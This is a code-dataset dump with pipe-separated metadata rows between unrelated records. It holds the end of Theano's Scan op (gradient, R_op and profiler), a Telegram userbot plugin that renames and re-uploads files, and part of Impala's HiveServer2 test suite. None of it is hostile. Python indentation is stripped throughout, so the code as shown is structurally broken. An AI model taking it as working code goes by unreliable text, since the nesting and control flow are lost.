if hasattr(x[::-1][:mintap], 'test_value'):
assert (x[::-1][:mintap].tag.test_value.shape[0] ==
inputs[0].tag.test_value)
for x in self.outer_sitsot_outs(outs):
if hasattr(x[::-1][:-1].tag, 'test_value'):
assert (x[::-1][:-1].tag.test_value.shape[0] ==
inputs[0].tag.test_value)
for x in self.outer_nitsot_outs(outs):
if hasattr(x[::-1].tag, 'test_value'):
assert (x[::-1].tag.test_value.shape[0] ==
inputs[0].tag.test_value)
outer_inp_seqs += [x[::-1][:numpy.min(taps)]
for taps, x in zip(self.mitsot_taps(),
self.outer_mitsot_outs(outs))]
outer_inp_seqs += [x[::-1][:-1] for x in self.outer_sitsot_outs(outs)]
outer_inp_seqs += [x[::-1] for x in self.outer_nitsot_outs(outs)]
# Restrict the length of the outer sequences to the number of grad
# steps
outer_inp_seqs = [seq[:grad_steps] for seq in outer_inp_seqs]
inner_inp_seqs = self.inner_seqs(self_inputs)
inner_inp_seqs += self.inner_mitmot(self_inputs)
inner_inp_seqs += self.inner_mitsot(self_inputs)
inner_inp_seqs += self.inner_sitsot(self_inputs)
inner_inp_seqs += self.inner_nitsot_outs(dC_dXts)
inner_inp_seqs += Xts
# mitmot
outer_inp_mitmot = []
outer_out_mitmot = []
inner_inp_mitmot = []
inner_out_mitmot = []
mitmot_inp_taps = []
mitmot_out_taps = []
type_outs = []
out_pos = 0
ins_pos = self.n_seqs
n_mitmot_outs = 0
n_mitmot_inps = 0
for idx in xrange(self.n_mit_mot):
if isinstance(dC_douts[idx].type, DisconnectedType):
out = outs[idx]
outer_inp_mitmot.append(tensor.zeros_like(out))
else:
outer_inp_mitmot.append(dC_douts[idx][::-1])
mitmot_inp_taps.append([])
mitmot_out_taps.append([])
undefined_msg = None
through_shared = False
disconnected = True
for jdx in xrange(len(self.mit_mot_out_slices[idx])):
inner_inp_mitmot.append(dC_dXts[out_pos])
mitmot_inp_taps[idx].append(-self.mit_mot_out_slices[idx][jdx])
n_mitmot_inps += 1
out_pos += 1
for jdx in xrange(len(self.tap_array[idx])):
inner_inp_mitmot.append(dC_dXtm1s[ins_pos - self.n_seqs])
if isinstance(dC_dinps_t[ins_pos].type, NullType):
# We cannot use Null in the inner graph, so we
# use a zero tensor of the appropriate shape instead.
inner_out_mitmot.append(
tensor.zeros(diff_inputs[ins_pos].shape,
dtype=theano.config.floatX))
undefined_msg = dC_dinps_t[ins_pos].type.why_null
else:
inner_out_mitmot.append(dC_dinps_t[ins_pos])
if not disconnected_dC_dinps_t[ins_pos]:
disconnected = False
for _sh in self.inner_shared(self_inputs):
if _sh in gof.graph.inputs([dC_dinps_t[ins_pos]]):
through_shared = True
n_mitmot_inps += 1
ins_pos += 1
n_mitmot_outs += 1
mitmot_inp_taps[idx].append(-self.tap_array[idx][jdx])
mitmot_out_taps[idx].append(-self.tap_array[idx][jdx])
if undefined_msg:
type_outs.append(undefined_msg)
elif through_shared:
type_outs.append('through_shared')
elif disconnected:
type_outs.append('disconnected')
else:
type_outs.append('connected')
offset = self.n_mit_mot
for idx in xrange(self.n_mit_sot):
if isinstance(dC_douts[idx + offset].type, DisconnectedType):
outer_inp_mitmot.append(outs[idx + offset].zeros_like())
else:
outer_inp_mitmot.append(dC_douts[idx + offset][::-1])
mitmot_inp_taps.append([])
mitmot_out_taps.append([])
idx_tap = idx + self.n_mit_mot
inner_inp_mitmot.append(dC_dXts[out_pos])
out_pos += 1
n_mitmot_inps += 1
undefined_msg = None
through_shared = False
disconnected = True
mitmot_inp_taps[idx + offset].append(0)
for jdx in xrange(len(self.tap_array[idx_tap])):
inner_inp_mitmot.append(dC_dXtm1s[ins_pos - self.n_seqs])
if isinstance(dC_dinps_t[ins_pos].type, NullType):
# We cannot use Null in the inner graph, so we
# use a zero tensor of the appropriate shape instead.
inner_out_mitmot.append(
tensor.zeros(diff_inputs[ins_pos].shape,
dtype=theano.config.floatX))
undefined_msg = dC_dinps_t[ins_pos].type.why_null
else:
inner_out_mitmot.append(dC_dinps_t[ins_pos])
mitmot_inp_taps[idx + offset].append(
-self.tap_array[idx_tap][jdx])
mitmot_out_taps[idx].append(
-self.tap_array[idx_tap][jdx])
if not disconnected_dC_dinps_t[ins_pos]:
disconnected = False
for _sh in self.inner_shared(self_inputs):
if _sh in gof.graph.inputs([dC_dinps_t[ins_pos]]):
through_shared = True
n_mitmot_inps += 1
ins_pos += 1
n_mitmot_outs += 1
if undefined_msg:
type_outs.append(undefined_msg)
elif through_shared:
type_outs.append('through_shared')
elif disconnected:
type_outs.append('disconnected')
else:
type_outs.append('connected')
offset += self.n_mit_sot
for idx in xrange(self.n_sit_sot):
mitmot_inp_taps.append([0, 1])
mitmot_out_taps.append([1])
through_shared = False
if not isinstance(dC_douts[idx + offset].type, DisconnectedType):
outer_inp_mitmot.append(dC_douts[idx + offset][::-1])
else:
if isinstance(dC_dinps_t[ins_pos].type, NullType):
# Cannot use dC_dinps_t[ins_pos].dtype, so we use
# floatX instead, as it is a dummy value that will not
# be used anyway.
outer_inp_mitmot.append(
tensor.zeros(outs[idx + offset].shape,
dtype=theano.config.floatX))
else:
outer_inp_mitmot.append(
tensor.zeros(outs[idx + offset].shape,
dtype=dC_dinps_t[ins_pos].dtype))
if isinstance(dC_dinps_t[ins_pos].type, NullType):
# We cannot use Null in the inner graph, so we
# use a zero tensor of the appropriate shape instead.
inner_out_mitmot.append(
tensor.zeros(diff_inputs[ins_pos].shape,
dtype=theano.config.floatX))
else:
inner_out_mitmot.append(dC_dinps_t[ins_pos])
for _sh in self.inner_shared(self_inputs):
if _sh in gof.graph.inputs([dC_dinps_t[ins_pos]]):
through_shared = True
if isinstance(dC_dinps_t[ins_pos].type, NullType):
type_outs.append(dC_dinps_t[ins_pos].type.why_null)
elif through_shared:
type_outs.append('through_shared')
elif disconnected_dC_dinps_t[ins_pos]:
type_outs.append('disconnected')
else:
type_outs.append('connected')
inner_inp_mitmot += [dC_dXts[out_pos],
dC_dXtm1s[ins_pos - self.n_seqs]]
n_mitmot_outs += 1
out_pos += 1
ins_pos += 1
n_mitmot_inps += 2
n_nit_sot = self.n_seqs
inner_out_nitsot = dC_dinps_t[:self.n_seqs]
inner_out_sitsot = dC_dinps_t[ins_pos:]
for _p, vl in enumerate(inner_out_sitsot):
through_shared = False
for _sh in self.inner_shared(self_inputs):
if _sh in gof.graph.inputs([vl]):
through_shared = True
if isinstance(vl.type, NullType):
type_outs.append(vl.type.why_null)
# Replace the inner output with a zero tensor of
# the right shape
inner_out_sitsot[_p] = tensor.zeros(
diff_inputs[ins_pos + _p].shape,
dtype=theano.config.floatX)
elif through_shared:
type_outs.append('through_shared')
elif disconnected_dC_dinps_t[_p + ins_pos]:
type_outs.append('disconnected')
else:
type_outs.append('connected')
for _p, vl in enumerate(inner_out_nitsot):
through_shared = False
for _sh in self.inner_shared(self_inputs):
if _sh in gof.graph.inputs([vl]):
through_shared = True
if isinstance(vl.type, NullType):
type_outs.append(vl.type.why_null)
# Replace the inner output with a zero tensor of
# the right shape
inner_out_nitsot[_p] = tensor.zeros(
diff_inputs[_p].shape,
dtype=theano.config.floatX)
if through_shared:
type_outs.append('through_shared')
elif disconnected_dC_dinps_t[_p]:
type_outs.append('disconnected')
else:
type_outs.append('connected')
inner_inp_sitsot = dC_dXtm1s[ins_pos - self.n_seqs:]
outer_inp_sitsot = []
for _idx, y in enumerate(inner_inp_sitsot):
x = self.outer_non_seqs(inputs)[_idx]
if isinstance(y.type, NullType):
# Cannot use dC_dXtm1s.dtype, so we use floatX instead.
outer_inp_sitsot.append(
tensor.zeros([grad_steps + 1] +
[x.shape[i] for i in xrange(x.ndim)],
dtype=theano.config.floatX))
# replace y by a zero tensor of the right shape
inner_inp_sitsot[_idx] = tensor.zeros(
diff_inputs[ins_pos + _idx].shape,
dtype=theano.config.floatX)
else:
outer_inp_sitsot.append(
tensor.zeros([grad_steps + 1] +
[x.shape[i] for i in xrange(x.ndim)],
dtype=y.dtype))
n_sitsot_outs = len(outer_inp_sitsot)
new_tap_array = mitmot_inp_taps + [[-1] for k in
xrange(n_sitsot_outs)]
info = OrderedDict()
info['n_seqs'] = len(outer_inp_seqs)
info['n_mit_sot'] = 0
info['tap_array'] = new_tap_array
info['gpu'] = False
info['n_mit_mot'] = len(outer_inp_mitmot)
info['n_mit_mot_outs'] = n_mitmot_outs
info['mit_mot_out_slices'] = mitmot_out_taps
info['truncate_gradient'] = self.truncate_gradient
info['n_sit_sot'] = n_sitsot_outs
info['n_shared_outs'] = 0
info['n_nit_sot'] = n_nit_sot
info['as_while'] = False
info['profile'] = self.profile
info['destroy_map'] = OrderedDict()
if self.name:
info['name'] = 'grad_of_' + self.name
else:
info['name'] = None
info['mode'] = self.mode
info['allow_gc'] = self.allow_gc
outer_inputs = ([grad_steps] +
outer_inp_seqs +
outer_inp_mitmot +
outer_inp_sitsot +
[inputs[0] for x in xrange(n_nit_sot)] +
self.outer_shared(inputs) +
self.outer_non_seqs(inputs))
inner_other_args = self_inputs[offset:]
inner_gfn_ins = (inner_inp_seqs +
inner_inp_mitmot +
inner_inp_sitsot +
self.inner_shared(self_inputs) +
self.inner_non_seqs(self_inputs))
inner_gfn_outs = (inner_out_mitmot +
inner_out_sitsot +
inner_out_nitsot)
local_op = Scan(inner_gfn_ins, inner_gfn_outs, info)
outputs = local_op(*outer_inputs)
if type(outputs) not in (list, tuple):
outputs = [outputs]
# Re-order the gradients correctly
gradients = [DisconnectedType()()]
offset = (self.n_mit_mot +
self.n_mit_sot +
self.n_sit_sot +
n_sitsot_outs)
for p, (x, t) in enumerate(
zip(outputs[offset:offset + self.n_seqs],
type_outs[offset:offset + self.n_seqs])):
if t == 'connected':
gradients.append(x[::-1])
elif t == 'disconnected':
gradients.append(DisconnectedType()())
elif t == 'through_shared':
gradients.append(
grad_undefined(self,
p + 1,
inputs[p + 1],
'Depends on a shared variable'))
else:
# t contains the "why_null" string of a NullType
gradients.append(NullType(t)())
end = self.n_mit_mot + self.n_mit_sot + self.n_sit_sot
for p, (x, t) in enumerate(
zip(outputs[:end], type_outs[:end])):
if t == 'connected':
gradients.append(x[::-1])
elif t == 'disconnected':
gradients.append(DisconnectedType()())
elif t == 'through_shared':
gradients.append(
grad_undefined(self,
p + 1 + self.n_seqs,
inputs[p + 1 + self.n_seqs],
'Depends on a shared variable'))
else:
# t contains the "why_null" string of a NullType
gradients.append(NullType(t)())
start = len(gradients)
node = outs[0].owner
for idx in xrange(self.n_shared_outs):
disconnected = True
connected_flags = self.connection_pattern(node)[idx + start]
for dC_dout, connected in zip(dC_douts, connected_flags):
if (not isinstance(dC_dout.type, DisconnectedType) and
connected):
disconnected = False
if disconnected:
gradients.append(DisconnectedType()())
else:
gradients.append(grad_undefined(
self, idx, inputs[idx],
'Shared Variable with update'))
start = len(gradients)
gradients += [DisconnectedType()()
for x in xrange(self.n_nit_sot)]
begin = end
end = begin + n_sitsot_outs
for p, (x, t) in enumerate(
zip(outputs[begin:end], type_outs[begin:end])):
if t == 'connected':
gradients.append(x[-1])
elif t == 'disconnected':
gradients.append(DisconnectedType()())
elif t == 'through_shared':
gradients.append(
grad_undefined(self,
p + begin + 1,
inputs[p + begin + 1],
'Depends on a shared variable'))
else:
# t contains the "why_null" string of a NullType
gradients.append(NullType(t)())
# Mask disconnected gradients
# Ideally we would want to assert that the gradients we are
# replacing do indeed evaluate to 0, though that is not practical
# from a computational point of view
# The gradients of scan are computed replacing Disconnected with 0,
# because through the recurrence they can become nonzero
for idx in xrange(len(gradients)):
disconnected = True
for kdx in xrange(len(node.outputs)):
if connection_pattern[idx][kdx] and \
not isinstance(dC_douts[kdx].type, DisconnectedType):
disconnected = False
if disconnected:
gradients[idx] = DisconnectedType()()
return gradients
def R_op(self, inputs, eval_points):
# Step 0. Don't work on the orignal tensor variables
rval = scan_utils.reconstruct_graph(self.inputs,
self.outputs, '_rop')
self_inputs = rval[0]
rop_of_inputs = rval[0][:self.n_seqs + self.n_outs] + \
rval[0][self.n_seqs + self.n_outs + self.n_shared_outs:]
self_outputs = rval[1]
inner_eval_points = [scan_utils.safe_new(x, '_evalpoint')
for x in rop_of_inputs]
if self.as_while:
rop_self_outputs = self_outputs[:-1]
else:
rop_self_outputs = self_outputs
if self.info['n_shared_outs'] > 0:
rop_self_outputs = rop_self_outputs[:-self.info['n_shared_outs']]
rop_outs = tensor.Rop(rop_self_outputs, rop_of_inputs,
inner_eval_points)
if type(rop_outs) not in (list, tuple):
rop_outs = [rop_outs]
info = OrderedDict()
info['n_seqs'] = self.n_seqs * 2
info['n_mit_sot'] = self.n_mit_sot * 2
info['n_sit_sot'] = self.n_sit_sot * 2
info['n_mit_mot'] = self.n_mit_mot * 2
info['n_nit_sot'] = self.n_nit_sot * 2
info['n_shared_outs'] = self.n_shared_outs
info['gpu'] = False
info['as_while'] = self.as_while
info['profile'] = self.profile
info['truncate_gradient'] = self.truncate_gradient
if self.name:
info['name'] = 'rop_of_' + self.name
else:
info['name'] = None
info['mode'] = self.mode
info['allow_gc'] = self.allow_gc
info['mit_mot_out_slices'] = self.mit_mot_out_slices * 2
info['destroy_map'] = OrderedDict()
new_tap_array = []
b = 0
e = self.n_mit_mot
new_tap_array += self.tap_array[b:e] * 2
b = e
e += self.n_mit_sot
new_tap_array += self.tap_array[b:e] * 2
b = e
e += self.n_sit_sot
new_tap_array += self.tap_array[b:e] * 2
info['tap_array'] = new_tap_array
b = 1
ib = 0
e = 1 + self.n_seqs
ie = self.n_seqs
clean_eval_points = []
for inp, evp in zip(inputs[b:e], eval_points[b:e]):
if evp is not None:
clean_eval_points.append(evp)
else:
clean_eval_points.append(inp.zeros_like())
scan_seqs = inputs[b:e] + clean_eval_points
inner_seqs = self_inputs[ib:ie] + inner_eval_points[ib:ie]
b = e
e = e + self.n_mit_mot
ib = ie
ie = ie + int(numpy.sum([len(x) for x in
self.tap_array[:self.n_mit_mot]]))
clean_eval_points = []
for inp, evp in zip(inputs[b:e], eval_points[b:e]):
if evp is not None:
clean_eval_points.append(evp)
else:
clean_eval_points.append(inp.zeros_like())
scan_mit_mot = inputs[b:e] + clean_eval_points
inner_mit_mot = self_inputs[ib:ie] + inner_eval_points[ib:ie]
b = e
e = e + self.n_mit_sot
ib = ie
ie = ie + int(numpy.sum([len(x) for x in
self.tap_array[self.n_mit_mot:\
self.n_mit_mot + self.n_mit_sot]]))
clean_eval_points = []
for inp, evp in zip(inputs[b:e], eval_points[b:e]):
if evp is not None:
clean_eval_points.append(evp)
else:
clean_eval_points.append(inp.zeros_like())
scan_mit_sot = inputs[b:e] + eval_points[b:e]
inner_mit_sot = self_inputs[ib:ie] + inner_eval_points[ib:ie]
b = e
e = e + self.n_sit_sot
ib = ie
ie = ie + self.n_sit_sot
clean_eval_points = []
for inp, evp in zip(inputs[b:e], eval_points[b:e]):
if evp is not None:
clean_eval_points.append(evp)
else:
clean_eval_points.append(inp.zeros_like())
scan_sit_sot = inputs[b:e] + clean_eval_points
inner_sit_sot = self_inputs[ib:ie] + inner_eval_points[ib:ie]
b = e
e = e + self.n_shared_outs
ib = ie
ie = ie + self.n_shared_outs
scan_shared = inputs[b:e]
inner_shared = self_inputs[ib:ie]
b = e
e = e + self.n_nit_sot
scan_nit_sot = inputs[b:e] * 2
clean_eval_points = []
for inp, evp in zip(inputs[e:], eval_points[e:]):
if evp is not None:
clean_eval_points.append(evp)
else:
clean_eval_points.append(inp.zeros_like())
scan_other = inputs[e:] + clean_eval_points
inner_other = self_inputs[ie:] + inner_eval_points[ib:]
n_mit_mot_outs = int(numpy.sum([len(x) for x in
self.mit_mot_out_slices]))
info['n_mit_mot_outs'] = n_mit_mot_outs * 2
b = 0
e = n_mit_mot_outs
inner_out_mit_mot = self_outputs[b:e] + rop_outs[b:e]
b = e
e = e + self.n_mit_sot
inner_out_mit_sot = self_outputs[b:e] + rop_outs[b:e]
b = e
e = e + self.n_sit_sot
inner_out_sit_sot = self_outputs[b:e] + rop_outs[b:e]
b = e
e = e + self.n_nit_sot
inner_out_nit_sot = self_outputs[b:e] + rop_outs[b:e]
b = e
e = e + self.n_shared_outs
inner_out_shared = self_outputs[b:e]
inner_ins = (inner_seqs +
inner_mit_mot +
inner_mit_sot +
inner_sit_sot +
inner_shared +
inner_other)
inner_outs = (inner_out_mit_mot +
inner_out_mit_sot +
inner_out_sit_sot +
inner_out_nit_sot +
inner_out_shared)
if self.as_while:
inner_outs += [self_outputs[-1]]
scan_inputs = ([inputs[0]] +
scan_seqs +
scan_mit_mot +
scan_mit_sot +
scan_sit_sot +
scan_shared +
scan_nit_sot +
scan_other)
local_op = Scan(inner_ins, inner_outs, info)
outputs = local_op(*scan_inputs)
if type(outputs) not in (list, tuple):
outputs = [outputs]
final_outs = []
b = self.n_mit_mot
e = self.n_mit_mot * 2
final_outs += outputs[b:e]
b = e + self.n_mit_sot
e = e + self.n_mit_sot * 2
final_outs += outputs[b:e]
b = e + self.n_sit_sot
e = e + self.n_sit_sot * 2
final_outs += outputs[b:e]
b = e + self.n_nit_sot
e = e + self.n_nit_sot * 2
final_outs += outputs[b:e]
final_outs += [None] * self.n_shared_outs
return final_outs
gof.ops_with_inner_function[Scan] = 'fn'
@theano.compile.profilemode.register_profiler_printer
def profile_printer(fct_name, compile_time, fct_call_time, fct_call,
apply_time, apply_cimpl, message, outputs_size,
other_time):
if any([isinstance(node.op, Scan) and v > 0 for (_, node), v in
apply_time.items()]):
print()
print('Scan overhead:')
print ('<Scan op time(s)> <sub scan fct time(s)> <sub scan op '
'time(s)> <sub scan fct time(% scan op time)> <sub scan '
'op time(% scan op time)> <node>')
total_super_scan_time = 0
total_scan_fct_time = 0
total_scan_op_time = 0
for (_, node), v in iteritems(apply_time):
if isinstance(node.op, Scan):
if v > 0:
scan_fct_time = node.op.mode_instance.fn_time
scan_op_time = node.op.mode_instance.local_time
total_super_scan_time += v
total_scan_fct_time += scan_fct_time
total_scan_op_time += scan_op_time
print(' %5.1fs %5.1fs %5.1fs %5.1f%% %5.1f%%' % (
v,
scan_fct_time,
scan_op_time,
scan_fct_time / v * 100,
scan_op_time / v * 100), node)
else:
print((' The node took 0s, so we can not '
'compute the overhead'), node)
print(' total %5.1fs %5.1fs %5.1fs %5.1f%% %5.1f%%' % (
total_super_scan_time,
total_scan_fct_time,
total_scan_op_time,
total_scan_fct_time / total_super_scan_time * 100,
total_scan_op_time / total_super_scan_time * 100))
| true | true |
f73c335aafdc1bcb4a318cb6238c78b6dcef2136 | 2,278 | py | Python | userbot/plugins/rename_IQ.py | ForSimo/Telethon | 70b6169d367321af55e74589482699b0e90e3c0f | [
"Apache-2.0"
] | 1 | 2021-02-06T20:17:15.000Z | 2021-02-06T20:17:15.000Z | userbot/plugins/rename_IQ.py | ForSimo/Telethon | 70b6169d367321af55e74589482699b0e90e3c0f | [
"Apache-2.0"
] | null | null | null | userbot/plugins/rename_IQ.py | ForSimo/Telethon | 70b6169d367321af55e74589482699b0e90e3c0f | [
"Apache-2.0"
] | null | null | null | # KLANR ALI @IQTHON
"""Rename Telegram Files
Syntax:
.rnupload file.name"""
import asyncio
import time
from datetime import datetime
from hachoir.metadata import extractMetadata
from hachoir.parser import createParser
from base64 import b64decode
import io
import math
import os
from pySmartDL import SmartDL
from telethon.tl.types import DocumentAttributeVideo
from uniborg.util import progress, humanbytes, time_formatter, admin_cmd
thumb_image_path = Config.TMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg"
@borg.on(admin_cmd(pattern="rnupload (.*)"))
async def _(event):
if event.fwd_from:
return
thumb = None
if os.path.exists(thumb_image_path):
thumb = thumb_image_path
await event.edit("`Rename and upload in progress, please wait!`")
input_str = event.pattern_match.group(1)
if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY):
os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY)
if event.reply_to_msg_id:
start = datetime.now()
end = datetime.now()
file_name = input_str
reply_message = await event.get_reply_message()
to_download_directory = Config.TMP_DOWNLOAD_DIRECTORY
downloaded_file_name = os.path.join(to_download_directory, file_name)
downloaded_file_name = await borg.download_media(
reply_message,
downloaded_file_name,
)
ms_one = (end - start).seconds
if os.path.exists(downloaded_file_name):
c_time = time.time()
await borg.send_file(
event.chat_id,
downloaded_file_name,
force_document=True,
supports_streaming=False,
allow_cache=False,
reply_to=event.message.id,
thumb=thumb,
)
end_two = datetime.now()
os.remove(downloaded_file_name)
ms_two = (end_two - end).seconds
await event.edit("Downloaded in {} seconds. Uploaded in {} seconds.".format(ms_one, ms_two))
else:
await event.edit("File Not Found {}".format(input_str))
else:
await event.edit("Syntax // .rnupload file.name as reply to a Telegram media")
| 35.046154 | 105 | 0.640913 |
import asyncio
import time
from datetime import datetime
from hachoir.metadata import extractMetadata
from hachoir.parser import createParser
from base64 import b64decode
import io
import math
import os
from pySmartDL import SmartDL
from telethon.tl.types import DocumentAttributeVideo
from uniborg.util import progress, humanbytes, time_formatter, admin_cmd
thumb_image_path = Config.TMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg"
@borg.on(admin_cmd(pattern="rnupload (.*)"))
async def _(event):
if event.fwd_from:
return
thumb = None
if os.path.exists(thumb_image_path):
thumb = thumb_image_path
await event.edit("`Rename and upload in progress, please wait!`")
input_str = event.pattern_match.group(1)
if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY):
os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY)
if event.reply_to_msg_id:
start = datetime.now()
end = datetime.now()
file_name = input_str
reply_message = await event.get_reply_message()
to_download_directory = Config.TMP_DOWNLOAD_DIRECTORY
downloaded_file_name = os.path.join(to_download_directory, file_name)
downloaded_file_name = await borg.download_media(
reply_message,
downloaded_file_name,
)
ms_one = (end - start).seconds
if os.path.exists(downloaded_file_name):
c_time = time.time()
await borg.send_file(
event.chat_id,
downloaded_file_name,
force_document=True,
supports_streaming=False,
allow_cache=False,
reply_to=event.message.id,
thumb=thumb,
)
end_two = datetime.now()
os.remove(downloaded_file_name)
ms_two = (end_two - end).seconds
await event.edit("Downloaded in {} seconds. Uploaded in {} seconds.".format(ms_one, ms_two))
else:
await event.edit("File Not Found {}".format(input_str))
else:
await event.edit("Syntax // .rnupload file.name as reply to a Telegram media")
| true | true |
f73c33ae3edddb9b8d145f2231c391a687d06987 | 11,262 | py | Python | tests/hs2/test_hs2.py | ImpalaToGo/ImpalaToGo | a1a79c0684d1319ee5c99aaf9b8a09c8392ba054 | [
"Apache-2.0"
] | 51 | 2015-01-02T04:10:26.000Z | 2020-11-21T16:33:19.000Z | tests/hs2/test_hs2.py | ImpalaToGo/ImpalaToGo | a1a79c0684d1319ee5c99aaf9b8a09c8392ba054 | [
"Apache-2.0"
] | 58 | 2015-01-29T15:52:19.000Z | 2016-04-19T08:19:02.000Z | tests/hs2/test_hs2.py | ImpalaToGo/ImpalaToGo | a1a79c0684d1319ee5c99aaf9b8a09c8392ba054 | [
"Apache-2.0"
] | 8 | 2015-03-16T11:03:41.000Z | 2019-07-11T06:39:31.000Z | #!/usr/bin/env python
# Copyright (c) 2012 Cloudera, Inc. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Client tests for Impala's HiveServer2 interface
import pytest
from tests.hs2.hs2_test_suite import HS2TestSuite, needs_session, operation_id_to_query_id
from TCLIService import TCLIService
from ImpalaService import ImpalaHiveServer2Service
from ExecStats.ttypes import TExecState
class TestHS2(HS2TestSuite):
def test_open_session(self):
"""Check that a session can be opened"""
open_session_req = TCLIService.TOpenSessionReq()
TestHS2.check_response(self.hs2_client.OpenSession(open_session_req))
def test_open_session_unsupported_protocol(self):
"""Test that we get the right protocol version back if we ask for one larger than the
server supports. This test will fail as we support newer version of HS2, and should be
updated."""
open_session_req = TCLIService.TOpenSessionReq()
open_session_req.protocol_version = \
TCLIService.TProtocolVersion.HIVE_CLI_SERVICE_PROTOCOL_V7
open_session_resp = self.hs2_client.OpenSession(open_session_req)
TestHS2.check_response(open_session_resp)
assert open_session_resp.serverProtocolVersion == \
TCLIService.TProtocolVersion.HIVE_CLI_SERVICE_PROTOCOL_V6
def test_close_session(self):
"""Test that an open session can be closed"""
open_session_req = TCLIService.TOpenSessionReq()
resp = self.hs2_client.OpenSession(open_session_req)
TestHS2.check_response(resp)
close_session_req = TCLIService.TCloseSessionReq()
close_session_req.sessionHandle = resp.sessionHandle
TestHS2.check_response(self.hs2_client.CloseSession(close_session_req))
def test_double_close_session(self):
"""Test that an already closed session cannot be closed a second time"""
open_session_req = TCLIService.TOpenSessionReq()
resp = self.hs2_client.OpenSession(open_session_req)
TestHS2.check_response(resp)
close_session_req = TCLIService.TCloseSessionReq()
close_session_req.sessionHandle = resp.sessionHandle
TestHS2.check_response(self.hs2_client.CloseSession(close_session_req))
# Double close should be an error
TestHS2.check_response(self.hs2_client.CloseSession(close_session_req),
TCLIService.TStatusCode.ERROR_STATUS)
@needs_session()
def test_get_operation_status(self):
"""Tests that GetOperationStatus returns a valid result for a running query"""
execute_statement_req = TCLIService.TExecuteStatementReq()
execute_statement_req.sessionHandle = self.session_handle
execute_statement_req.statement = "SELECT COUNT(*) FROM functional.alltypes"
execute_statement_resp = self.hs2_client.ExecuteStatement(execute_statement_req)
TestHS2.check_response(execute_statement_resp)
get_operation_status_req = TCLIService.TGetOperationStatusReq()
get_operation_status_req.operationHandle = execute_statement_resp.operationHandle
get_operation_status_resp = \
self.hs2_client.GetOperationStatus(get_operation_status_req)
TestHS2.check_response(get_operation_status_resp)
assert get_operation_status_resp.operationState in \
[TCLIService.TOperationState.INITIALIZED_STATE,
TCLIService.TOperationState.RUNNING_STATE,
TCLIService.TOperationState.FINISHED_STATE]
@needs_session()
def test_malformed_get_operation_status(self):
"""Tests that a short guid / secret returns an error (regression would be to crash
impalad)"""
operation_handle = TCLIService.TOperationHandle()
operation_handle.operationId = TCLIService.THandleIdentifier()
operation_handle.operationId.guid = "short"
operation_handle.operationId.secret = "short_secret"
assert len(operation_handle.operationId.guid) != 16
assert len(operation_handle.operationId.secret) != 16
operation_handle.operationType = TCLIService.TOperationType.EXECUTE_STATEMENT
operation_handle.hasResultSet = False
get_operation_status_req = TCLIService.TGetOperationStatusReq()
get_operation_status_req.operationHandle = operation_handle
get_operation_status_resp = \
self.hs2_client.GetOperationStatus(get_operation_status_req)
TestHS2.check_response(get_operation_status_resp,
TCLIService.TStatusCode.ERROR_STATUS)
err_msg = "(guid size: %d, expected 16, secret size: %d, expected 16)" \
% (len(operation_handle.operationId.guid),
len(operation_handle.operationId.secret))
assert err_msg in get_operation_status_resp.status.errorMessage
@pytest.mark.execute_serially
def test_socket_close_forces_session_close(self):
"""Test that closing the underlying socket forces the associated session to close.
See IMPALA-564"""
open_session_req = TCLIService.TOpenSessionReq()
resp = self.hs2_client.OpenSession(open_session_req)
TestHS2.check_response(resp)
num_sessions = self.impalad_test_service.get_metric_value(
"impala-server.num-open-hiveserver2-sessions")
assert num_sessions > 0
self.socket.close()
self.socket = None
self.impalad_test_service.wait_for_metric_value(
"impala-server.num-open-hiveserver2-sessions", num_sessions - 1)
@pytest.mark.execute_serially
def test_multiple_sessions(self):
"""Test that multiple sessions on the same socket connection are allowed"""
num_sessions = self.impalad_test_service.get_metric_value(
"impala-server.num-open-hiveserver2-sessions")
session_ids = []
for _ in xrange(5):
open_session_req = TCLIService.TOpenSessionReq()
resp = self.hs2_client.OpenSession(open_session_req)
TestHS2.check_response(resp)
# Check that all sessions get different IDs
assert resp.sessionHandle not in session_ids
session_ids.append(resp.sessionHandle)
self.impalad_test_service.wait_for_metric_value(
"impala-server.num-open-hiveserver2-sessions", num_sessions + 5)
self.socket.close()
self.socket = None
self.impalad_test_service.wait_for_metric_value(
"impala-server.num-open-hiveserver2-sessions", num_sessions)
@needs_session()
def test_get_schemas(self):
get_schemas_req = TCLIService.TGetSchemasReq()
get_schemas_req.sessionHandle = self.session_handle
get_schemas_resp = self.hs2_client.GetSchemas(get_schemas_req)
TestHS2.check_response(get_schemas_resp)
fetch_results_req = TCLIService.TFetchResultsReq()
fetch_results_req.operationHandle = get_schemas_resp.operationHandle
fetch_results_req.maxRows = 100
fetch_results_resp = self.hs2_client.FetchResults(fetch_results_req)
TestHS2.check_response(fetch_results_resp)
query_id = operation_id_to_query_id(get_schemas_resp.operationHandle.operationId)
profile_page = self.impalad_test_service.read_query_profile_page(query_id)
# Test fix for IMPALA-619
assert "Sql Statement: GET_SCHEMAS" in profile_page
assert "Query Type: DDL" in profile_page
def get_log(self, query_stmt):
execute_statement_req = TCLIService.TExecuteStatementReq()
execute_statement_req.sessionHandle = self.session_handle
execute_statement_req.statement = query_stmt
execute_statement_resp = self.hs2_client.ExecuteStatement(execute_statement_req)
TestHS2.check_response(execute_statement_resp)
# Fetch results to make sure errors are generated
fetch_results_req = TCLIService.TFetchResultsReq()
fetch_results_req.operationHandle = execute_statement_resp.operationHandle
fetch_results_req.maxRows = 100
fetch_results_resp = self.hs2_client.FetchResults(fetch_results_req)
TestHS2.check_response(fetch_results_resp)
get_log_req = TCLIService.TGetLogReq()
get_log_req.operationHandle = execute_statement_resp.operationHandle
get_log_resp = self.hs2_client.GetLog(get_log_req)
TestHS2.check_response(get_log_resp)
return get_log_resp.log
@needs_session()
def test_get_log(self):
# Test query that generates BE warnings
log = self.get_log("select * from functional.alltypeserror")
assert "Error converting column" in log
# Test overflow warning
log = self.get_log("select cast(1000 as decimal(2, 1))")
